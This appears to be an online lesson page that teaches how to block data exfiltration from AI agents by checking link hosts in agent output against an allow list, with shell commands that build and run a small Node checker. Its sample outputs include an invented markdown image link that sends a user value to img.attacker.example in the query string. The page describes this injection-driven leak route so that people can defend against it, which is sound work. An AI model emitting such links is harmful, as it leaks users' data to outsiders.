Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

Preventing data exfiltration from AI agents

After this lesson: I can close the routes data leaves an agent by, using an allow list of destinations that code checks.

65 min lesson8 commandsAI coding agent lab: use opencode to explain and fix code, and check its work

How does data leave an AI agent?

Exfiltration means data leaving a system by a route its owner did not intend. An agent has more routes than a chatbot: links in its answers, images, tool calls and web requests.

The Securing LLM applications module covers prompt injection. This lesson closes the ways out, so that an order hidden in a page has nowhere to send what the agent knows.

By the end of this lesson

Note

I can close the routes data leaves an agent by, using an allow list of destinations that code checks.

Key words

WordWhat it meansExample
Exfiltrationdata leaving by a route the owner did not intend
Allow listthe only destinations that are permitted, with all others refuseddocs.example.com
Hostthe name of the server in a link, between // and the next /
Query stringthe part of a link after the question mark, which can carry data
Egresstraffic leaving your system for another

The cells students fill in are left blank in this preview.

Four routes data can leave by

A link in the answer: the user clicks it and the address carries data. An image in the answer: the browser loads it by itself, so the data leaves with no click.

A tool call: a request the agent makes with data in its arguments. A file name or a message sent to a chat or email tool.

All four put data inside a destination or a message. So check where each one goes.

Worked example: route and check

RouteHow data leavesThe check
LinkIn the query string or the pathThe host is on the allow list
ImageThe browser loads it at onceSame host check, or no images at all
Web request toolIn the address or the bodyHost on the list, and the method is limited
Chat or email toolIn the message textRecipient on the list

The cells students fill in are left blank in this preview.

The Run checks links, it sends nothing

The first script holds four invented outputs. It finds each link and reads its host. Then it checks the host against an allow list.

Nothing is fetched. The addresses are made up and the script only reads them. Note how the image link is written: it begins with an exclamation mark, which the script builds from a character code.

Write the link checker, part 1

Command
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const allowed = [\"docs.example.com\", \"help.example.com\"];' 'const bang = String.fromCharCode(33);' 'const outputs = [' '  \"See the guide at https://docs.example.com/start for steps.\",' '  \"Done. \" + bang + \"[logo](https://img.attacker.example/p.png?d=ANNA-4411)\",' '  \"Open [the form](https://help.example.com/form) to go on.\",' '  \"Click https://track.example.net/c?note=secret to confirm.\",' '];' > egress.js"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Write the link checker, part 2

Command
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' '  const found = [];' '  for (const word of text.split(\" \")) {' '    const at = word.indexOf(\"http\");' '    if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' '  }' '  return found;' '}' 'for (const text of outputs) {' '  for (const url of urlsIn(text)) {' '    const ok = allowed.includes(hostOf(url));' '    const query = url.includes(\"?\") ? \"  (carries a query)\" : \"\";' '    console.log((ok ? \"allow  \" : \"BLOCK  \") + hostOf(url) + query);' '  }' '}' >> egress.js"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Run the link checker

Command
docker exec -w /home/node/project agent node egress.js

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

What the script prints

LineWhat it shows
allow docs.example.comThe host is on the list
BLOCK img.attacker.example (carries a query)An image to a stranger, with data in the address
allow help.example.comA link to a listed host
BLOCK track.example.net (carries a query)A host nobody listed

The cells students fill in are left blank in this preview.

Compare the whole host, exactly

A check that a link starts with the allowed name is too weak. The link docs.example.com.attacker.example starts with it and goes elsewhere.

A link can also hold a name before an at sign. In [email protected], the real host is the part after the at sign. Read the host out, then compare it whole.

A common mistake

Warning

Many people write a block list of bad hosts. Attackers have endless new ones. List what is allowed and refuse the rest, in code, before the answer is shown.

Write the model script, part 1

Command
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { ask } = require(\"./model\");' '' 'const allowed = [\"docs.example.com\", \"help.example.com\"];' 'const messages = [' '  { role: \"system\", content: \"You help users of a software product. Answer in one sentence with one markdown link to https://docs.example.com/help.\" },' '  { role: \"user\", content: \"Where do I find help?\" },' '];' '// Recorded sample, used only when no model answers.' 'const sample = \"You can find help in [the guide](https://docs.example.com/help).\";' > egress2.js"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Write the model script, part 2

Command
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' '  const found = [];' '  for (const word of text.split(\" \")) {' '    const at = word.indexOf(\"http\");' '    if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' '  }' '  return found;' '}' >> egress2.js"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Write the model script, part 3

Command
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' '  const reply = await ask(messages, sample, 80);' '  console.log(\"Reply: \" + reply);' '  const urls = urlsIn(reply);' '  console.log(\"Links found: \" + urls.length);' '  for (const url of urls) {' '    console.log((allowed.includes(hostOf(url)) ? \"allow  \" : \"BLOCK  \") + hostOf(url));' '  }' '}' 'main();' >> egress2.js"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Write the model helper

Command
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const base = process.env.AI_URL || \"http://ai:4000\";' 'async function ask(messages, sample, max) {' '  try {' '    const res = await fetch(base + \"/v1/chat/completions\", {' '      method: \"POST\",' '      headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' '      body: JSON.stringify({ model: \"lab\", messages: messages, max_tokens: max || 200 }),' '      signal: AbortSignal.timeout(30000),' '    });' '    if (res.ok === false) throw new Error(\"status \" + res.status);' '    return (await res.json()).choices[0].message.content;' '  } catch (error) {' '    console.log(\"Recorded sample: no model answered (\" + error.message + \").\");' '    const list = [].concat(sample);' '    const turn = messages.filter(function (m) { return m.role === \"assistant\"; }).length;' '    return list[Math.min(turn, list.length - 1)];' '  }' '}' 'module.exports = { ask };' > model.js"

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

Run it against the model

Command
docker exec -w /home/node/project agent node egress2.js

Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.

One possible output

LineWhat it may show
ReplyOne sentence with a link. The words differ each run
Links foundUsually 1. The program counts whatever the reply holds
allow or BLOCKallow when the host is listed. BLOCK for any other host
Recorded samplePrinted first when no model answered. The script carries on with the sample

The cells students fill in are left blank in this preview.

About this lab and its source: AI coding agent lab: use opencode to explain and fix code, and check its work

Teaching a class? Set this module for your students with a teacher guide, marked assignments and a lab for every student.